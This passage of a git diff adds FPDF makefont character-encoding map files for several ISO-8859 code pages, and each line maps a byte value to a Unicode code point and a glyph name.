U+00CB Edieresis +!CC U+00CC Igrave +!CD U+00CD Iacute +!CE U+00CE Icircumflex +!CF U+00CF Idieresis +!D0 U+00D0 Eth +!D1 U+00D1 Ntilde +!D2 U+00D2 Ograve +!D3 U+00D3 Oacute +!D4 U+00D4 Ocircumflex +!D5 U+00D5 Otilde +!D6 U+00D6 Odieresis +!D7 U+00D7 multiply +!D8 U+00D8 Oslash +!D9 U+00D9 Ugrave +!DA U+00DA Uacute +!DB U+00DB Ucircumflex +!DC U+00DC Udieresis +!DD U+00DD Yacute +!DE U+00DE Thorn +!DF U+00DF germandbls +!E0 U+00E0 agrave +!E1 U+00E1 aacute +!E2 U+00E2 acircumflex +!E3 U+00E3 atilde +!E4 U+00E4 adieresis +!E5 U+00E5 aring +!E6 U+00E6 ae +!E7 U+00E7 ccedilla +!E8 U+00E8 egrave +!E9 U+00E9 eacute +!EA U+00EA ecircumflex +!EB U+00EB edieresis +!EC U+00EC igrave +!ED U+00ED iacute +!EE U+00EE icircumflex +!EF U+00EF idieresis +!F0 U+00F0 eth +!F1 U+00F1 ntilde +!F2 U+00F2 ograve +!F3 U+00F3 oacute +!F4 U+00F4 ocircumflex +!F5 U+00F5 otilde +!F6 U+00F6 odieresis +!F7 U+00F7 divide +!F8 U+00F8 oslash +!F9 U+00F9 ugrave +!FA U+00FA uacute +!FB U+00FB ucircumflex +!FC U+00FC udieresis +!FD U+00FD yacute +!FE U+00FE thorn +!FF U+00FF ydieresis diff --git a/tools/fpdf/font/makefont/iso-8859-11.map b/tools/fpdf/font/makefont/iso-8859-11.map new file mode 100755 index 0000000..9168812 --- /dev/null +++ b/tools/fpdf/font/makefont/iso-8859-11.map @@ -0,0 +1,248 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+0080 .notdef +!81 U+0081 .notdef +!82 U+0082 .notdef +!83 U+0083 .notdef +!84 U+0084 .notdef +!85 U+0085 .notdef +!86 U+0086 .notdef +!87 U+0087 .notdef +!88 U+0088 .notdef +!89 U+0089 .notdef +!8A U+008A .notdef +!8B U+008B .notdef +!8C U+008C .notdef +!8D U+008D .notdef +!8E U+008E .notdef +!8F U+008F .notdef +!90 U+0090 .notdef +!91 U+0091 .notdef +!92 U+0092 .notdef +!93 U+0093 .notdef +!94 U+0094 .notdef +!95 U+0095 .notdef +!96 U+0096 .notdef +!97 U+0097 .notdef +!98 U+0098 .notdef +!99 U+0099 .notdef +!9A U+009A .notdef +!9B U+009B .notdef +!9C U+009C .notdef +!9D U+009D .notdef +!9E U+009E .notdef +!9F U+009F .notdef +!A0 U+00A0 space +!A1 U+0E01 kokaithai +!A2 U+0E02 khokhaithai +!A3 U+0E03 khokhuatthai +!A4 U+0E04 khokhwaithai +!A5 U+0E05 khokhonthai +!A6 U+0E06 khorakhangthai +!A7 U+0E07 ngonguthai +!A8 U+0E08 chochanthai +!A9 U+0E09 chochingthai +!AA U+0E0A chochangthai +!AB U+0E0B sosothai +!AC U+0E0C chochoethai +!AD U+0E0D yoyingthai +!AE U+0E0E dochadathai +!AF U+0E0F topatakthai +!B0 U+0E10 thothanthai +!B1 U+0E11 thonangmonthothai +!B2 U+0E12 thophuthaothai +!B3 U+0E13 nonenthai +!B4 U+0E14 dodekthai +!B5 U+0E15 totaothai +!B6 U+0E16 thothungthai +!B7 U+0E17 thothahanthai +!B8 U+0E18 thothongthai +!B9 U+0E19 nonuthai +!BA U+0E1A bobaimaithai +!BB U+0E1B poplathai +!BC U+0E1C phophungthai +!BD U+0E1D fofathai +!BE U+0E1E phophanthai +!BF U+0E1F fofanthai +!C0 U+0E20 phosamphaothai +!C1 U+0E21 momathai +!C2 U+0E22 yoyakthai +!C3 U+0E23 roruathai +!C4 U+0E24 ruthai +!C5 U+0E25 lolingthai +!C6 U+0E26 luthai +!C7 U+0E27 wowaenthai +!C8 U+0E28 sosalathai +!C9 U+0E29 sorusithai +!CA U+0E2A sosuathai +!CB U+0E2B hohipthai +!CC U+0E2C lochulathai +!CD U+0E2D oangthai +!CE U+0E2E honokhukthai +!CF U+0E2F paiyannoithai +!D0 U+0E30 saraathai +!D1 U+0E31 maihanakatthai +!D2 U+0E32 saraaathai +!D3 U+0E33 saraamthai +!D4 U+0E34 saraithai +!D5 U+0E35 saraiithai +!D6 U+0E36 sarauethai +!D7 U+0E37 saraueethai +!D8 U+0E38 sarauthai +!D9 U+0E39 sarauuthai +!DA U+0E3A phinthuthai +!DF U+0E3F bahtthai +!E0 U+0E40 saraethai +!E1 U+0E41 saraaethai +!E2 U+0E42 saraothai +!E3 U+0E43 saraaimaimuanthai +!E4 U+0E44 saraaimaimalaithai +!E5 U+0E45 lakkhangyaothai +!E6 U+0E46 maiyamokthai +!E7 U+0E47 maitaikhuthai +!E8 U+0E48 maiekthai +!E9 U+0E49 maithothai +!EA U+0E4A maitrithai +!EB U+0E4B maichattawathai +!EC U+0E4C thanthakhatthai +!ED U+0E4D nikhahitthai +!EE U+0E4E yamakkanthai +!EF U+0E4F fongmanthai +!F0 U+0E50 zerothai +!F1 U+0E51 onethai +!F2 U+0E52 twothai +!F3 U+0E53 threethai +!F4 U+0E54 fourthai +!F5 U+0E55 fivethai +!F6 U+0E56 sixthai +!F7 U+0E57 seventhai +!F8 U+0E58 eightthai +!F9 U+0E59 ninethai +!FA U+0E5A angkhankhuthai +!FB U+0E5B khomutthai diff --git a/tools/fpdf/font/makefont/iso-8859-15.map b/tools/fpdf/font/makefont/iso-8859-15.map new file mode 100755 index 0000000..6c2b571 --- /dev/null +++ b/tools/fpdf/font/makefont/iso-8859-15.map @@ -0,0 +1,256 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+0080 .notdef +!81 U+0081 .notdef +!82 U+0082 .notdef +!83 U+0083 .notdef +!84 U+0084 .notdef +!85 U+0085 .notdef +!86 U+0086 .notdef +!87 U+0087 .notdef +!88 U+0088 .notdef +!89 U+0089 .notdef +!8A U+008A .notdef +!8B U+008B .notdef +!8C U+008C .notdef +!8D U+008D .notdef +!8E U+008E .notdef +!8F U+008F .notdef +!90 U+0090 .notdef +!91 U+0091 .notdef +!92 U+0092 .notdef +!93 U+0093 .notdef +!94 U+0094 .notdef +!95 U+0095 .notdef +!96 U+0096 .notdef +!97 U+0097 .notdef +!98 U+0098 .notdef +!99 U+0099 .notdef +!9A U+009A .notdef +!9B U+009B .notdef +!9C U+009C .notdef +!9D U+009D .notdef +!9E U+009E .notdef +!9F U+009F .notdef +!A0 U+00A0 space +!A1 U+00A1 exclamdown +!A2 U+00A2 cent +!A3 U+00A3 sterling +!A4 U+20AC Euro +!A5 U+00A5 yen +!A6 U+0160 Scaron +!A7 U+00A7 section +!A8 U+0161 scaron +!A9 U+00A9 copyright +!AA U+00AA ordfeminine +!AB U+00AB guillemotleft +!AC U+00AC logicalnot +!AD U+00AD hyphen +!AE U+00AE registered +!AF U+00AF macron +!B0 U+00B0 degree +!B1 U+00B1 plusminus +!B2 U+00B2 twosuperior +!B3 U+00B3 threesuperior +!B4 U+017D Zcaron +!B5 U+00B5 mu +!B6 U+00B6 paragraph +!B7 U+00B7 periodcentered +!B8 U+017E zcaron +!B9 U+00B9 onesuperior +!BA U+00BA ordmasculine +!BB U+00BB guillemotright +!BC U+0152 OE +!BD U+0153 oe +!BE U+0178 Ydieresis +!BF U+00BF questiondown +!C0 U+00C0 Agrave +!C1 U+00C1 Aacute +!C2 U+00C2 Acircumflex +!C3 U+00C3 Atilde +!C4 U+00C4 Adieresis +!C5 U+00C5 Aring +!C6 U+00C6 AE +!C7 U+00C7 Ccedilla +!C8 U+00C8 Egrave +!C9 U+00C9 Eacute +!CA U+00CA Ecircumflex +!CB U+00CB Edieresis +!CC U+00CC Igrave +!CD U+00CD Iacute +!CE U+00CE Icircumflex +!CF U+00CF Idieresis +!D0 U+00D0 Eth +!D1 U+00D1 Ntilde +!D2 U+00D2 Ograve +!D3 U+00D3 Oacute +!D4 U+00D4 Ocircumflex +!D5 U+00D5 Otilde +!D6 U+00D6 Odieresis +!D7 U+00D7 multiply +!D8 U+00D8 Oslash +!D9 U+00D9 Ugrave +!DA U+00DA Uacute +!DB U+00DB Ucircumflex +!DC U+00DC Udieresis +!DD U+00DD Yacute +!DE U+00DE Thorn +!DF U+00DF germandbls +!E0 U+00E0 agrave +!E1 U+00E1 aacute +!E2 U+00E2 acircumflex +!E3 U+00E3 atilde +!E4 U+00E4 adieresis +!E5 U+00E5 aring +!E6 U+00E6 ae +!E7 U+00E7 ccedilla +!E8 U+00E8 egrave +!E9 U+00E9 eacute +!EA U+00EA ecircumflex +!EB U+00EB edieresis +!EC U+00EC igrave +!ED U+00ED iacute +!EE U+00EE icircumflex +!EF U+00EF idieresis +!F0 U+00F0 eth +!F1 U+00F1 ntilde +!F2 U+00F2 ograve +!F3 U+00F3 oacute +!F4 U+00F4 ocircumflex +!F5 U+00F5 otilde +!F6 U+00F6 odieresis +!F7 U+00F7 divide +!F8 U+00F8 oslash +!F9 U+00F9 ugrave +!FA U+00FA uacute +!FB U+00FB ucircumflex +!FC U+00FC udieresis +!FD U+00FD yacute +!FE U+00FE thorn +!FF U+00FF ydieresis diff --git a/tools/fpdf/font/makefont/iso-8859-16.map b/tools/fpdf/font/makefont/iso-8859-16.map new file mode 100755 index 0000000..202c8fe --- /dev/null +++ b/tools/fpdf/font/makefont/iso-8859-16.map @@ -0,0 +1,256 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+0080 .notdef +!81 U+0081 .notdef +!82 U+0082 .notdef +!83 U+0083 .notdef +!84 U+0084 .notdef +!85 U+0085 .notdef +!86 U+0086 .notdef +!87 U+0087 .notdef +!88 U+0088 .notdef +!89 U+0089 .notdef +!8A U+008A .notdef +!8B U+008B .notdef +!8C U+008C .notdef +!8D U+008D .notdef +!8E U+008E .notdef +!8F U+008F .notdef +!90 U+0090 .notdef +!91 U+0091 .notdef +!92 U+0092 .notdef +!93 U+0093 .notdef +!94 U+0094 .notdef +!95 U+0095 .notdef +!96 U+0096 .notdef +!97 U+0097 .notdef +!98 U+0098 .notdef +!99 U+0099 .notdef +!9A U+009A .notdef +!9B U+009B .notdef +!9C U+009C .notdef +!9D U+009D .notdef +!9E U+009E .notdef +!9F U+009F .notdef +!A0 U+00A0 space +!A1 U+0104 Aogonek +!A2 U+0105 aogonek +!A3 U+0141 Lslash +!A4 U+20AC Euro +!A5 U+201E quotedblbase +!A6 U+0160 Scaron +!A7 U+00A7 section +!A8 U+0161 scaron +!A9 U+00A9 copyright +!AA U+0218 Scommaaccent +!AB U+00AB guillemotleft +!AC U+0179 Zacute +!AD U+00AD hyphen +!AE U+017A zacute +!AF U+017B Zdotaccent +!B0 U+00B0 degree +!B1 U+00B1 plusminus +!B2 U+010C Ccaron +!B3 U+0142 lslash +!B4 U+017D Zcaron +!B5 U+201D quotedblright +!B6 U+00B6 paragraph +!B7 U+00B7 periodcentered +!B8 U+017E zcaron +!B9 U+010D ccaron +!BA U+0219 scommaaccent +!BB U+00BB guillemotright +!BC U+0152 OE +!BD U+0153 oe +!BE U+0178 Ydieresis +!BF U+017C zdotaccent +!C0 U+00C0 Agrave +!C1 U+00C1 Aacute +!C2 U+00C2 Acircumflex +!C3 U+0102 Abreve +!C4 U+00C4 Adieresis +!C5 U+0106 Cacute +!C6 U+00C6 AE +!C7 U+00C7 Ccedilla +!C8 U+00C8 Egrave +!C9 U+00C9 Eacute +!CA U+00CA Ecircumflex +!CB U+00CB Edieresis +!CC U+00CC Igrave +!CD U+00CD Iacute +!CE U+00CE Icircumflex +!CF U+00CF Idieresis +!D0 U+0110 Dcroat +!D1 U+0143 Nacute +!D2 U+00D2 Ograve +!D3 U+00D3 Oacute +!D4 U+00D4 Ocircumflex +!D5 U+0150 Ohungarumlaut +!D6 U+00D6 Odieresis +!D7 U+015A Sacute +!D8 U+0170 Uhungarumlaut +!D9 U+00D9 Ugrave +!DA U+00DA Uacute +!DB U+00DB Ucircumflex +!DC U+00DC Udieresis +!DD U+0118 Eogonek +!DE U+021A Tcommaaccent +!DF U+00DF germandbls +!E0 U+00E0 agrave +!E1 U+00E1 aacute +!E2 U+00E2 acircumflex +!E3 U+0103 abreve +!E4 U+00E4 adieresis +!E5 U+0107 cacute +!E6 U+00E6 ae +!E7 U+00E7 ccedilla +!E8 U+00E8 egrave +!E9 U+00E9 eacute +!EA U+00EA ecircumflex +!EB U+00EB edieresis +!EC U+00EC igrave +!ED U+00ED iacute +!EE U+00EE icircumflex +!EF U+00EF idieresis +!F0 U+0111 dcroat +!F1 U+0144 nacute +!F2 U+00F2 ograve +!F3 U+00F3 oacute +!F4 U+00F4 ocircumflex +!F5 U+0151 ohungarumlaut +!F6 U+00F6 odieresis +!F7 U+015B sacute +!F8 U+0171 uhungarumlaut +!F9 U+00F9 ugrave +!FA U+00FA uacute +!FB U+00FB ucircumflex +!FC U+00FC udieresis +!FD U+0119 eogonek +!FE U+021B tcommaaccent +!FF U+00FF ydieresis diff --git a/tools/fpdf/font/makefont/iso-8859-2.map b/tools/fpdf/font/makefont/iso-8859-2.map new file mode 100755 index 0000000..65ae09f --- /dev/null +++ b/tools/fpdf/font/makefont/iso-8859-2.map @@ -0,0 +1,256 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+0080 .notdef +!81 U+0081 .notdef +!82 U+0082 .notdef +!83 U+0083 .notdef +!84 U+0084 .notdef +!85 U+0085 .notdef +!86 U+0086 .notdef +!87 U+0087 .notdef +!88 U+0088 .notdef +!89 U+0089 .notdef +!8A U+008A .notdef +!8B U+008B .notdef +!8C U+008C .notdef +!8D U+008D .notdef +!8E U+008E .notdef +!8F U+008F .notdef +!90 U+0090 .notdef +!91 U+0091 .notdef +!92 U+0092 .notdef +!93 U+0093 .notdef +!94 U+0094 .notdef +!95 U+0095 .notdef +!96 U+0096 .notdef +!97 U+0097 .notdef +!98 U+0098 .notdef +!99 U+0099 .notdef +!9A U+009A .notdef +!9B U+009B .notdef +!9C U+009C .notdef +!9D U+009D .notdef +!9E U+009E .notdef +!9F U+009F .notdef +!A0 U+00A0 space +!A1 U+0104 Aogonek +!A2 U+02D8 breve +!A3 U+0141 Lslash +!A4 U+00A4 currency +!A5 U+013D Lcaron +!A6 U+015A Sacute +!A7 U+00A7 section +!A8 U+00A8 dieresis +!A9 U+0160 Scaron +!AA U+015E Scedilla +!AB U+0164 Tcaron +!AC U+0179 Zacute +!AD U+00AD hyphen +!AE U+017D Zcaron +!AF U+017B Zdotaccent +!B0 U+00B0 degree +!B1 U+0105 aogonek +!B2 U+02DB ogonek +!B3 U+0142 lslash +!B4 U+00B4 acute +!B5 U+013E lcaron +!B6 U+015B sacute +!B7 U+02C7 caron +!B8 U+00B8 cedilla +!B9 U+0161 scaron +!BA U+015F scedilla +!BB U+0165 tcaron +!BC U+017A zacute +!BD U+02DD hungarumlaut +!BE U+017E zcaron +!BF U+017C zdotaccent +!C0 U+0154 Racute +!C1 U+00C1 Aacute +!C2 U+00C2 Acircumflex +!C3 U+0102 Abreve +!C4 U+00C4 Adieresis +!C5 U+0139 Lacute +!C6 U+0106 Cacute +!C7 U+00C7 Ccedilla +!C8 U+010C Ccaron +!C9 U+00C9 Eacute +!CA U+0118 Eogonek +!CB U+00CB Edieresis +!CC U+011A Ecaron +!CD U+00CD Iacute +!CE U+00CE Icircumflex +!CF U+010E Dcaron +!D0 U+0110 Dcroat +!D1 U+0143 Nacute +!D2 U+0147 Ncaron +!D3 U+00D3 Oacute +!D4 U+00D4 Ocircumflex +!D5 U+0150 Ohungarumlaut +!D6 U+00D6 Odieresis +!D7 U+00D7 multiply +!D8 U+0158 Rcaron +!D9 U+016E Uring +!DA U+00DA Uacute +!DB U+0170 Uhungarumlaut +!DC U+00DC Udieresis +!DD U+00DD Yacute +!DE U+0162 Tcommaaccent +!DF U+00DF germandbls +!E0 U+0155 racute +!E1 U+00E1 aacute +!E2 U+00E2 acircumflex +!E3 U+0103 abreve +!E4 U+00E4 adieresis +!E5 U+013A lacute +!E6 U+0107 cacute +!E7 U+00E7 ccedilla +!E8 U+010D ccaron +!E9 U+00E9 eacute +!EA U+0119 eogonek +!EB U+00EB edieresis +!EC U+011B ecaron +!ED U+00ED iacute +!EE U+00EE icircumflex +!EF U+010F dcaron +!F0 U+0111 dcroat +!F1 U+0144 nacute +!F2 U+0148 ncaron +!F3 U+00F3 oacute +!F4 U+00F4 ocircumflex +!F5 U+0151 ohungarumlaut +!F6 U+00F6 odieresis +!F7 U+00F7 divide +!F8 U+0159 rcaron +!F9 U+016F uring +!FA U+00FA uacute +!FB U+0171 uhungarumlaut +!FC U+00FC udieresis +!FD U+00FD yacute +!FE U+0163 tcommaaccent +!FF U+02D9 dotaccent diff --git a/tools/fpdf/font/makefont/iso-8859-4.map b/tools/fpdf/font/makefont/iso-8859-4.map new file mode 100755 index 0000000..a7d87bf --- /dev/null +++ b/tools/fpdf/font/makefont/iso-8859-4.map @@ -0,0 +1,256 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 